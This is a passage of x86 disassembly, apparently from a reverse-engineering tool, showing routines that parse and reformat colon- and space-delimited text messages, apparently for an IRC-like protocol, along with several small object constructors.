		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470FC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447104
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447100
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447834
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F60
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C78 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F60


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44711C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E75
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44741D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447110
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E75
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E75
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
